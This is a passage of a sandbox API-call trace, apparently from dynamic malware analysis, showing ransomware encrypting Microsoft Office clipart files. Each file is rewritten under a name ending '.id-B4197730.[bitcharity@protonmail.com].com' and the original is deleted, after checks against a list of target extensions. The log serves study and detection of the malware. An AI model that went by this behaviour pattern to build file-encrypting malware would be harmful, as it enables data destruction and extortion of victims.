Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00224_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10bc [0288.530] GetLastError () returned 0x0 [0288.530] ReadFile (in: hFile=0x10b8, lpBuffer=0x39f2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesRead=0x2e3fecc*=0x634, lpOverlapped=0x0) returned 1 [0288.531] WriteFile (in: hFile=0x10bc, lpBuffer=0x39f2020*, nNumberOfBytesToWrite=0x640, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesWritten=0x2e3fc94*=0x640, lpOverlapped=0x0) returned 1 [0288.532] ReadFile (in: hFile=0x10b8, lpBuffer=0x39f2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesRead=0x2e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0288.532] WriteFile (in: hFile=0x10bc, lpBuffer=0x39f2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesWritten=0x2e3fc94*=0xec, lpOverlapped=0x0) returned 1 [0288.533] SetEndOfFile (hFile=0x10bc) returned 1 [0288.533] CloseHandle (hObject=0x10bc) returned 1 [0288.533] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0288.533] SetEndOfFile (hFile=0x10b8) returned 1 [0288.534] CloseHandle (hObject=0x10b8) returned 1 [0288.534] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0288.541] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00224_.wmf")) returned 1 [0288.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68 [0288.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68 [0288.905] lstrlenW (lpString=".doc") returned 4 [0288.905] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0288.905] lstrlenW (lpString=".docx") returned 5 [0288.905] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0288.905] lstrlenW (lpString=".pdf") returned 4 [0288.905] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0288.905] lstrlenW (lpString=".xls") returned 4 [0288.905] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0288.905] lstrlenW (lpString=".xlsx") returned 5 [0288.905] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0288.905] lstrlenW (lpString=".ppt") returned 4 [0288.906] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0288.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68 [0288.906] lstrlenW (lpString=".zip") returned 4 [0288.906] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0288.906] lstrlenW (lpString=".rar") returned 4 [0288.906] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0288.906] lstrlenW (lpString=".bz2") returned 4 [0288.906] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0288.906] lstrlenW (lpString=".7z") returned 3 [0288.906] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0288.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68 [0288.906] lstrlenW (lpString=".dbf") returned 4 [0288.906] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0288.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68 [0288.906] lstrlenW (lpString=".1cd") returned 4 [0288.906] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0288.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68 [0288.906] lstrlenW (lpString=".jpg") returned 4 [0288.906] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0288.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68 [0288.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68 [0288.906] lstrlenW (lpString=".doc") returned 4 [0288.906] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0288.906] lstrlenW (lpString=".docx") returned 5 [0288.906] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0288.906] lstrlenW (lpString=".pdf") returned 4 [0288.906] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0288.906] lstrlenW (lpString=".xls") returned 4 [0288.906] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0288.907] lstrlenW (lpString=".xlsx") returned 5 [0288.907] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0288.907] lstrlenW (lpString=".ppt") returned 4 [0288.907] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0288.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68 [0288.907] lstrlenW (lpString=".zip") returned 4 [0288.907] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0288.907] lstrlenW (lpString=".rar") returned 4 [0288.907] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0288.907] lstrlenW (lpString=".bz2") returned 4 [0288.907] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0288.907] lstrlenW (lpString=".7z") returned 3 [0288.907] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0288.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68 [0288.907] lstrlenW (lpString=".dbf") returned 4 [0288.907] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0288.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68 [0288.907] lstrlenW (lpString=".1cd") returned 4 [0288.907] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0288.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68 [0288.907] lstrlenW (lpString=".jpg") returned 4 [0288.907] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0288.907] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0288.907] lstrlenW (lpString="BS00440_.WMF") returned 12 [0288.907] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00440_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a4 [0288.949] GetFileSizeEx (in: hFile=0x10a4, lpFileSize=0x2e3ff14 | out: lpFileSize=0x2e3ff14*=5580) returned 1 [0288.949] CloseHandle (hObject=0x10a4) returned 1 [0288.949] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00440_.wmf")) returned 0x220 [0288.949] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00440_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0288.949] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00440_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a4 [0288.949] SetFilePointerEx (in: hFile=0x10a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0288.949] SetFilePointerEx (in: hFile=0x10a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0288.950] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00440_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10bc [0288.950] GetLastError () returned 0x0 [0288.950] ReadFile (in: hFile=0x10a4, lpBuffer=0x39f2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesRead=0x2e3fecc*=0x15cc, lpOverlapped=0x0) returned 1 [0288.951] WriteFile (in: hFile=0x10bc, lpBuffer=0x39f2020*, nNumberOfBytesToWrite=0x15d0, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesWritten=0x2e3fc94*=0x15d0, lpOverlapped=0x0) returned 1 [0288.953] ReadFile (in: hFile=0x10a4, lpBuffer=0x39f2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesRead=0x2e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0288.953] WriteFile (in: hFile=0x10bc, lpBuffer=0x39f2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesWritten=0x2e3fc94*=0xec, lpOverlapped=0x0) returned 1 [0288.953] SetEndOfFile (hFile=0x10bc) returned 1 [0288.953] CloseHandle (hObject=0x10bc) returned 1 [0288.953] SetFilePointerEx (in: hFile=0x10a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0288.953] SetEndOfFile (hFile=0x10a4) returned 1 [0288.954] CloseHandle (hObject=0x10a4) returned 1 [0288.954] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0288.954] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00440_.wmf")) returned 1 [0288.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 68 [0288.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 68 [0288.955] lstrlenW (lpString=".doc") returned 4 [0288.955] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0288.955] lstrlenW (lpString=".docx") returned 5 [0288.955] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0288.955] lstrlenW (lpString=".pdf") returned 4 [0288.955] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0288.955] lstrlenW (lpString=".xls") returned 4 [0288.955] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0288.955] lstrlenW (lpString=".xlsx") returned 5 [0288.955] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0288.955] lstrlenW (lpString=".ppt") returned 4 [0288.955] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0288.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 68 [0288.955] lstrlenW (lpString=".zip") returned 4 [0288.955] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0288.955] lstrlenW (lpString=".rar") returned 4 [0288.955] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0288.955] lstrlenW (lpString=".bz2") returned 4 [0288.955] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0288.955] lstrlenW (lpString=".7z") returned 3 [0288.955] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0288.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 68 [0288.955] lstrlenW (lpString=".dbf") returned 4 [0288.955] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0288.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 68 [0288.955] lstrlenW (lpString=".1cd") returned 4 [0288.955] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0288.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 68 [0288.955] lstrlenW (lpString=".jpg") returned 4 [0288.956] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0288.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 68 [0288.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 68 [0288.991] lstrlenW (lpString=".doc") returned 4 [0288.991] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0288.991] lstrlenW (lpString=".docx") returned 5 [0288.991] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0288.991] lstrlenW (lpString=".pdf") returned 4 [0288.991] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0288.991] lstrlenW (lpString=".xls") returned 4 [0288.991] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0288.991] lstrlenW (lpString=".xlsx") returned 5 [0288.991] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0288.991] lstrlenW (lpString=".ppt") returned 4 [0288.991] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0288.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 68 [0288.991] lstrlenW (lpString=".zip") returned 4 [0288.991] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0288.992] lstrlenW (lpString=".rar") returned 4 [0288.992] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0288.992] lstrlenW (lpString=".bz2") returned 4 [0288.992] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0288.992] lstrlenW (lpString=".7z") returned 3 [0288.992] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0288.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 68 [0288.992] lstrlenW (lpString=".dbf") returned 4 [0288.992] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0288.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 68 [0288.992] lstrlenW (lpString=".1cd") returned 4 [0288.992] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0288.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 68 [0288.992] lstrlenW (lpString=".jpg") returned 4 [0288.992] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0288.992] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0288.992] lstrlenW (lpString="BS00441_.WMF") returned 12 [0288.992] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00441_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a4 [0288.993] GetFileSizeEx (in: hFile=0x10a4, lpFileSize=0x2e3ff14 | out: lpFileSize=0x2e3ff14*=3524) returned 1 [0288.993] CloseHandle (hObject=0x10a4) returned 1 [0288.993] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00441_.wmf")) returned 0x220 [0288.993] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00441_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0288.993] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00441_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a4 [0288.993] SetFilePointerEx (in: hFile=0x10a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0288.993] SetFilePointerEx (in: hFile=0x10a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0288.993] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00441_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10bc [0288.993] GetLastError () returned 0x0 [0288.993] ReadFile (in: hFile=0x10a4, lpBuffer=0x39f2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesRead=0x2e3fecc*=0xdc4, lpOverlapped=0x0) returned 1 [0288.997] WriteFile (in: hFile=0x10bc, lpBuffer=0x39f2020*, nNumberOfBytesToWrite=0xdd0, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesWritten=0x2e3fc94*=0xdd0, lpOverlapped=0x0) returned 1 [0288.998] ReadFile (in: hFile=0x10a4, lpBuffer=0x39f2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesRead=0x2e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0288.998] WriteFile (in: hFile=0x10bc, lpBuffer=0x39f2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesWritten=0x2e3fc94*=0xec, lpOverlapped=0x0) returned 1 [0288.999] SetEndOfFile (hFile=0x10bc) returned 1 [0288.999] CloseHandle (hObject=0x10bc) returned 1 [0288.999] SetFilePointerEx (in: hFile=0x10a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0288.999] SetEndOfFile (hFile=0x10a4) returned 1 [0289.000] CloseHandle (hObject=0x10a4) returned 1 [0289.000] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0289.000] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00441_.wmf")) returned 1 [0289.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 68 [0289.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 68 [0289.001] lstrlenW (lpString=".doc") returned 4 [0289.001] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0289.001] lstrlenW (lpString=".docx") returned 5 [0289.001] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0289.001] lstrlenW (lpString=".pdf") returned 4 [0289.001] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0289.001] lstrlenW (lpString=".xls") returned 4 [0289.001] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0289.001] lstrlenW (lpString=".xlsx") returned 5 [0289.001] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0289.001] lstrlenW (lpString=".ppt") returned 4 [0289.001] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0289.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 68 [0289.001] lstrlenW (lpString=".zip") returned 4 [0289.001] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0289.001] lstrlenW (lpString=".rar") returned 4 [0289.001] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0289.001] lstrlenW (lpString=".bz2") returned 4 [0289.001] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0289.001] lstrlenW (lpString=".7z") returned 3 [0289.001] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0289.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 68 [0289.001] lstrlenW (lpString=".dbf") returned 4 [0289.001] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0289.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 68 [0289.001] lstrlenW (lpString=".1cd") returned 4 [0289.001] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0289.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 68 [0289.002] lstrlenW (lpString=".jpg") returned 4 [0289.002] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0289.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 68 [0289.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 68 [0289.002] lstrlenW (lpString=".doc") returned 4 [0289.002] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0289.002] lstrlenW (lpString=".docx") returned 5 [0289.002] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0289.002] lstrlenW (lpString=".pdf") returned 4 [0289.002] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0289.002] lstrlenW (lpString=".xls") returned 4 [0289.002] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0289.002] lstrlenW (lpString=".xlsx") returned 5 [0289.002] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0289.002] lstrlenW (lpString=".ppt") returned 4 [0289.002] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0289.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 68 [0289.002] lstrlenW (lpString=".zip") returned 4 [0289.002] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0289.002] lstrlenW (lpString=".rar") returned 4 [0289.002] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0289.002] lstrlenW (lpString=".bz2") returned 4 [0289.002] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0289.002] lstrlenW (lpString=".7z") returned 3 [0289.002] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0289.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 68 [0289.002] lstrlenW (lpString=".dbf") returned 4 [0289.002] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0289.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 68 [0289.003] lstrlenW (lpString=".1cd") returned 4 [0289.003] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0289.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 68 [0289.003] lstrlenW (lpString=".jpg") returned 4 [0289.003] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0289.003] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0289.003] lstrlenW (lpString="BS00442_.WMF") returned 12 [0289.003] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00442_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a4 [0289.003] GetFileSizeEx (in: hFile=0x10a4, lpFileSize=0x2e3ff14 | out: lpFileSize=0x2e3ff14*=2488) returned 1 [0289.003] CloseHandle (hObject=0x10a4) returned 1 [0289.003] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00442_.wmf")) returned 0x220 [0289.004] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00442_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0289.004] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00442_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a4 [0289.004] SetFilePointerEx (in: hFile=0x10a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0289.004] SetFilePointerEx (in: hFile=0x10a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0289.004] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00442_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, 